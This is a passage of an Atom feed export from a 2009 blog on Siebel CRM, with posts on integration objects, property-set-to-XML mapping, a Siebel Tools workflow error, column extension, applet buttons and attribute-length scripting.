Data that is needed to be integrated with Other applications. &lt;/div&gt;&lt;br /&gt;&lt;div&gt;An IO defines Business Object whose data will be integrated, BC whose fields will be updated, and the fields that will be used.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;What is Integration Object Instance? : &lt;/span&gt;&lt;/div&gt;&lt;div&gt;When an Integration Object is used to query siebel database it results in an property set that contains the data in the structure represented in the Integration Object.&lt;/div&gt;&lt;div&gt;This output property set is called &lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;Siebel Message.&lt;/span&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;How Siebel Message is different from a Property Set?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Siebel Message is actually a property set whose type is set to "&lt;strong&gt;SiebelMessage&lt;/strong&gt;".Most common method to create a Siebel Message is by calling &lt;strong&gt;Query &lt;/strong&gt;Method of &lt;strong&gt;EAI Siebel Adapter Service&lt;/strong&gt;.&lt;/div&gt;&lt;div&gt;This service creates the properties with Name specified in the Integration Components Fields. &lt;/div&gt;&lt;br /&gt;&lt;p&gt;On the other hand &lt;strong&gt;XML Hierarchy &lt;/strong&gt;contains property name from the Integration Component XML Tag.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-1516502574857486982?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/1516502574857486982/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=1516502574857486982&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/1516502574857486982'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/1516502574857486982'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/08/siebel-message-property-set.html' title='Siebel Message Property Set'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-2713601507055791160</id><published>2009-08-21T09:14:00.000-07:00</published><updated>2009-08-21T10:36:51.290-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Basics'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel EAI'/><title type='text'>Mapping between Siebel Property Set and XML</title><content type='html'>I think first problem that we face in EAI is understanding the mapping between the &lt;strong&gt;Siebel Property Set&lt;/strong&gt; and the &lt;strong&gt;XML&lt;/strong&gt;. But once this mapping is clear Siebel EAI becomes lot more easier module to work on.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;XML as we all know is the structured data trasfer language, and property set is set of variables contain values in form of string name value pairs. There are lots of vanilla services available in siebel tools that converts the property set in to an XML or write the property set to a file.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Let see how the property set is converted into an XML.&lt;br /&gt;&lt;div align="justify"&gt;A Property set contains four parts which we can get and set by eScript methods. &lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://4.bp.blogspot.com/_mJfGtfR_Zdc/So7WqfkCIjI/AAAAAAAAAD0/5vC2H7-1kA0/s400/1.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5372467431015064114" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 96px; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_mJfGtfR_Zdc/So7WqfkCIjI/AAAAAAAAAD0/5vC2H7-1kA0/s400/1.JPG" border="0" /&gt;&lt;/a&gt; &lt;div align="justify"&gt;Note : A property set can contain child elements , which can themselves be a Property Set, and can have Type , Property and a Value.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Similarly an XML contains:&lt;br /&gt;&lt;br /&gt;&lt;img id="BLOGGER_PHOTO_ID_5372455141523227106" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 110px; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_mJfGtfR_Zdc/So7LfJo2geI/AAAAAAAAADs/MPDVeIhBtq8/s400/xml.JPG" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Siebel converts&lt;br /&gt;&lt;strong&gt;Type&lt;/strong&gt; of property set to XML &lt;strong&gt;Element&lt;/strong&gt; ,&lt;br /&gt;&lt;strong&gt;Properties&lt;/strong&gt; are added as &lt;strong&gt;Attrbutes, &lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Value &lt;/strong&gt;is kept as &lt;strong&gt;Value of the Element &lt;/strong&gt;&lt;br /&gt;and child properties are added as child elements in XML.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This can be demonstrated by following code:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_mJfGtfR_Zdc/So7W2TtkP8I/AAAAAAAAAD8/hGkoImg26G0/s1600-h/coed.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5372467633992253378" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 218px; TEXT-ALIGN: center" alt="" src="http://2.bp.blogspot.com/_mJfGtfR_Zdc/So7W2TtkP8I/AAAAAAAAAD8/hGkoImg26G0/s400/coed.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;It will produce an XML output like this:&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_mJfGtfR_Zdc/So7XGtvUblI/AAAAAAAAAEM/8prOJBu53YA/s1600-h/untitled.JPG"&gt;&lt;br /&gt;&lt;img id="BLOGGER_PHOTO_ID_5372467915856834130" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 79px; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_mJfGtfR_Zdc/So7XGtvUblI/AAAAAAAAAEM/8prOJBu53YA/s400/untitled.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-2713601507055791160?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/2713601507055791160/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=2713601507055791160&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/2713601507055791160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/2713601507055791160'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/08/mapping-between-siebel-property-set-and.html' title='Mapping between Siebel Property Set and XML'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_mJfGtfR_Zdc/So7WqfkCIjI/AAAAAAAAAD0/5vC2H7-1kA0/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-3916744308580270734</id><published>2009-08-15T00:34:00.000-07:00</published><updated>2009-08-15T05:31:35.435-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Errors'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel EAI'/><title type='text'>Workflow Revision Failed : SBL-DAT-00393: An end of file error has occurred.</title><content type='html'>Recently I faced a strange bug in my Siebel Tools. Whenever i tried to revise an workflow, i was getting this error :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_mJfGtfR_Zdc/SoZmTMFMC3I/AAAAAAAAADk/khksT4eDTqc/s1600-h/1.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5370092085532429170" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 217px; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_mJfGtfR_Zdc/SoZmTMFMC3I/AAAAAAAAADk/khksT4eDTqc/s400/1.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;strong&gt;An end of file error has occurred. Please continue or ask your system administrator to check your application configuration if the problem persists. (SBL-DAT-00393).&lt;/strong&gt;&lt;/div&gt;&lt;div&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;And after i press Ok button, tools hangs and every time i have to restart the tools. &lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt; Even when i tried to connect directly to the database server the error was re-occurring. And this was happening with a specific workflow only. I was very much bugged up at that time.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;I searched support web but still couldn't find any reason behind this in Siebel Tools. &lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;Then one of colleague suggested me to delete excess versions of workflows in tools to get it done. &lt;/div&gt;&lt;div&gt;At first i thought it wouldn't help, but yes it worked!! &lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I must say, Siebel has got mind of his own! Thanks to &lt;strong&gt;Manuj&lt;/strong&gt;, who helped me to get this thing done. &lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-3916744308580270734?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/3916744308580270734/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=3916744308580270734&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/3916744308580270734'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/3916744308580270734'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/08/workflow-revision-failed-sbl-dat-00393.html' title='Workflow Revision Failed : SBL-DAT-00393: An end of file error has occurred.'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_mJfGtfR_Zdc/SoZmTMFMC3I/AAAAAAAAADk/khksT4eDTqc/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-5033136998603203708</id><published>2009-08-14T01:36:00.000-07:00</published><updated>2009-08-14T03:24:29.906-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Best Practices'/><category scheme='http://www.blogger.com/atom/ns#' term='Screencasts/Videos'/><title type='text'>Extending Column in Siebel : Video Tutorial</title><content type='html'>I haven't came across any siebel implementation till yet, that doesn't requires extension of siebel base tables. &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This usually required when siebel table doesn't have any column that can support the required data type or when there is additional data required at the business layer.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Although it can be achieved by using the extension table, but it is recommended that fields that are shown on UI or used frequently in the script should exists in the base column. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This is because that extension column requires an additional join in the sql query. And every time BC based on the base table will be queried, extension table will also be called into the memory. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;Here is one video from you tube that explain the whole process of extending column as a screen cast.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/l-h3_ySGCPc&amp;amp;hl=en&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/l-h3_ySGCPc&amp;amp;hl=en&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-5033136998603203708?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/5033136998603203708/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=5033136998603203708&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/5033136998603203708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/5033136998603203708'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/08/extending-column-in-siebel-video.html' title='Extending Column in Siebel : Video Tutorial'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-4963329155271753938</id><published>2009-08-11T11:08:00.000-07:00</published><updated>2009-08-14T03:40:45.130-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Where is IT going?'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Presentations'/><category scheme='http://www.blogger.com/atom/ns#' term='Tom Siebel'/><title type='text'>Tom Siebel at Stanford University: Glory Days Long Gone for I.T.?</title><content type='html'>Here are some videos of &lt;strong&gt;Entrepreneurial Thought Leader Lecture at &lt;/strong&gt;Standford University by &lt;strong&gt;Tom Siebel &lt;/strong&gt;who started siebel systems and sold it to oracle.&lt;br /&gt;&lt;br /&gt;Have a look what he has to say to new entrepreneurs @ stanford. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;embed id="single" src="http://ecorner.stanford.edu/swf/player-ec.swf" width="500" height="302" type="application/x-shockwave-flash" flashvars="config=http://ecorner.stanford.edu/embeded_config.xml%3Fmid%3D2178"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;br /&gt;Tom Siebel, Chairman of First Virtual Group, paints a picture of the dramatic explosion of the dot-com boom; an era, he recalls, where "risk was a business problem, and not an anathema." With a 17 percent growth rate - an increase unprecedented before or since, says Siebel - the business opportunities of the 1980's era appeared to be unlimited. Changes in technology were total replacements, rather than incremental, meaning that every client had to buy and keep buying or find themselves lagging into obsolescence. He credits this free market flow with conjuring a revolution in computing and communications.&lt;br /&gt;&lt;br /&gt;&lt;embed id="single" src="http://ecorner.stanford.edu/swf/player-ec.swf" width="500" height="302" type="application/x-shockwave-flash" flashvars="config=http://ecorner.stanford.edu/embeded_config.xml%3Fmid%3D2179"&gt;&lt;/embed&gt;&lt;br /&gt;Description&lt;br /&gt;Most of the promise of post-industrial society has been realized, says Tom Siebel, Chairman of First Virtual Group, and all of the great technological advances and development of great companies are behind us. The tech sector is hovering around a mere three percent annual growth rate, says Siebel; keeping it just on par with the rate of current economic growth.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;embed id="single" src="http://ecorner.stanford.edu/swf/player-ec.swf" width="500" height="302" type="application/x-shockwave-flash" flashvars="config=http://ecorner.stanford.edu/embeded_config.xml%3Fmid%3D2180"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;strong&gt;Description &lt;/strong&gt;&lt;br /&gt;The globe's human population is currently around six-and-a-half billion, and it is slated to reach nine billion people in the next twenty years. Tom Siebel, Chairman of First Virtual Group, points out that this sharp increase will propel a worldwide demand for food, water, energy, and healthcare. And, he adds, the business opportunities in providing these essentials are unparalleled.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;embed id="single" src="http://ecorner.stanford.edu/swf/player-ec.swf" width="500" height="302" type="application/x-shockwave-flash" flashvars="config=http://ecorner.stanford.edu/embeded_config.xml%3Fmid%3D2181"&gt;&lt;/embed&gt;&lt;br /&gt;Description&lt;br /&gt;Facing the likelihood of carbon reporting and carbon tracking that will be necessary with upcoming cap and trade legislation, Tom Siebel, First Virtual Group Chairman, announces a new initiative to help reduce the cost of reporting on an enterprise's carbon footprint - a tool that he foresees will serve a $3 trillion market in 2020.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;embed id="single" src="http://ecorner.stanford.edu/swf/player-ec.swf" width="500" height="302" type="application/x-shockwave-flash" flashvars="config=http://ecorner.stanford.edu/embeded_config.xml%3Fmid%3D2182"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;strong&gt;Description &lt;/strong&gt;&lt;br /&gt;Forward-thinking entrepreneurs should consider government restrictions in their long-term business planning, says First Virtual Group's Chairman Tom Siebel. They should also be aware of the opportunities that exist through population growth and a growing demographic of the aged. And they should be thinking about solving the energy problem, and the provision of clean food and water for the planet.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-4963329155271753938?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/4963329155271753938/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=4963329155271753938&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4963329155271753938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4963329155271753938'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/08/tom-siebel-at-stanford-university-glory.html' title='Tom Siebel at Stanford University: Glory Days Long Gone for I.T.?'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-512685806699640229</id><published>2009-08-08T10:16:00.000-07:00</published><updated>2009-08-14T03:43:08.424-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Configuration'/><category scheme='http://www.blogger.com/atom/ns#' term='Best Practices'/><title type='text'>Adding Button on Applet – Part 2</title><content type='html'>&lt;div&gt;In&lt;a href="http://exploringsiebel.blogspot.com/2009/08/siebel-adding-button-on-applet-part-1.html"&gt; part one&lt;/a&gt; of this post I have discussed how we can enable a button on applet and call workflow or service from it using scripting.&lt;/div&gt;&lt;div&gt;But Siebel user properties provides us the way to achieve the same behaviour without scripting. There are two or more solutions to it.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Solution 1 &lt;/span&gt;: Using &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;CanInvokeMethod &lt;/span&gt;User Property&lt;/div&gt;&lt;div&gt;1.&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Create control on applet with method invoke property set to required method name.&lt;/div&gt;&lt;div&gt;2.&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Create an applet user property “&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;CanInvokeMethod&lt;/span&gt;”&lt;span class="Apple-style-span" style="font-weight: bold;"&gt; &lt;/span&gt;to activate this button conditionally.&lt;/div&gt;&lt;div&gt;3.&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Add an “&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;NamedMethod&lt;/span&gt;” User Property on BusComp or Applet to invoke Business Service or Workflow of your choice.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Solution 2&lt;/span&gt; : Using &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;EventMethodMethodName&lt;/span&gt; User Property&lt;/div&gt;&lt;div&gt;1.&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Create Control applet with method invoke property as : &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;EventMethodMethodName&lt;/span&gt;. Where Method Name is your orignal method.&lt;/div&gt;&lt;div&gt;2.&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Add “&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;EventMethod Enabled&lt;/span&gt;” user property on Buscomp to conditionally activate the button.&lt;/div&gt;&lt;div&gt;3.&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Create a runtime event on PreInvoke of the Buscomp to invoke service or workflow.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Both of these solutions are suitable for our basic requirement of adding buttons on Siebel Applets. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Please note that these user properties works on &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;CSSBCBase &lt;/span&gt;BusComp class and&lt;span class="Apple-style-span" style="font-weight: bold;"&gt; CSSFrameListBase &lt;/span&gt;applet class&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;. &lt;/span&gt;These are not defualt classes when you create new objects.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-512685806699640229?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/512685806699640229/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=512685806699640229&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/512685806699640229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/512685806699640229'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/08/adding-button-on-applet-part-2.html' title='Adding Button on Applet – Part 2'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-4666348440430873080</id><published>2009-08-03T12:18:00.000-07:00</published><updated>2010-08-27T11:05:23.108-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Product Configurator'/><title type='text'>How to restrict length of an attribute - Part 2</title><content type='html'>In Continuation of my earlier &lt;a href="http://exploringsiebel.blogspot.com/2009/08/siebel-product-configurator-how-to.html"&gt;post&lt;/a&gt;, for constraining the length of attribute, in this post i am explaining what other solution is available in out of the box Siebel application for this problem. &lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Attribute selected&lt;/span&gt; is an event which gets triggered before any attribute's value is updated, this events sends the information of the attribute and the value as property set argument.&lt;br /&gt;&lt;div&gt;XML representation of property set would look something like :&lt;/div&gt;&lt;a href="http://2.bp.blogspot.com/_mJfGtfR_Zdc/Snc7nvqSLgI/AAAAAAAAADc/h7JcvRyQUQ0/s1600-h/1.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5365823035029990914" src="http://2.bp.blogspot.com/_mJfGtfR_Zdc/Snc7nvqSLgI/AAAAAAAAADc/h7JcvRyQUQ0/s400/1.JPG" style="cursor: hand; display: block; height: 120px; margin: 0px auto 10px; text-align: center; width: 364px;" /&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;*from bookshelf&lt;/span&gt; &lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Now if this property set is available as argument then i think writing script to constrain its value is not a big task. &lt;br /&gt;&lt;br /&gt;I have created this snippet, it worked in my case hope it works for others also.&lt;br /&gt;&lt;br /&gt;&lt;pre class="js" name="code"&gt;&lt;br /&gt;function Cfg_AttributeSelected (SelectedAttribute)&lt;br /&gt;{&lt;br /&gt; var temp = SelectedAttribute.GetChild(0);&lt;br /&gt; var sStr =  temp.GetProperty("NewVal");&lt;br /&gt; TheApplication().RaiseErrorText("Error");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-4666348440430873080?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/4666348440430873080/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=4666348440430873080&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4666348440430873080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4666348440430873080'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/08/how-to-restrict-length-of-attribute.html' title='How to restrict length of an attribute - Part 2'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_mJfGtfR_Zdc/Snc7nvqSLgI/AAAAAAAAADc/h7JcvRyQUQ0/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-1982311046385889208</id><published>2009-08-03T11:33:00.001-07:00</published><updated>2010-06-12T09:26:42.950-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Product Configurator'/><category scheme='http://www.blogger.com/atom/ns#' term='Miscellaneous'/><title type='text'>Siebel Product Configurator: How to restrict attribute length?</title><content type='html'>&lt;div&gt;&lt;span style="font-weight: 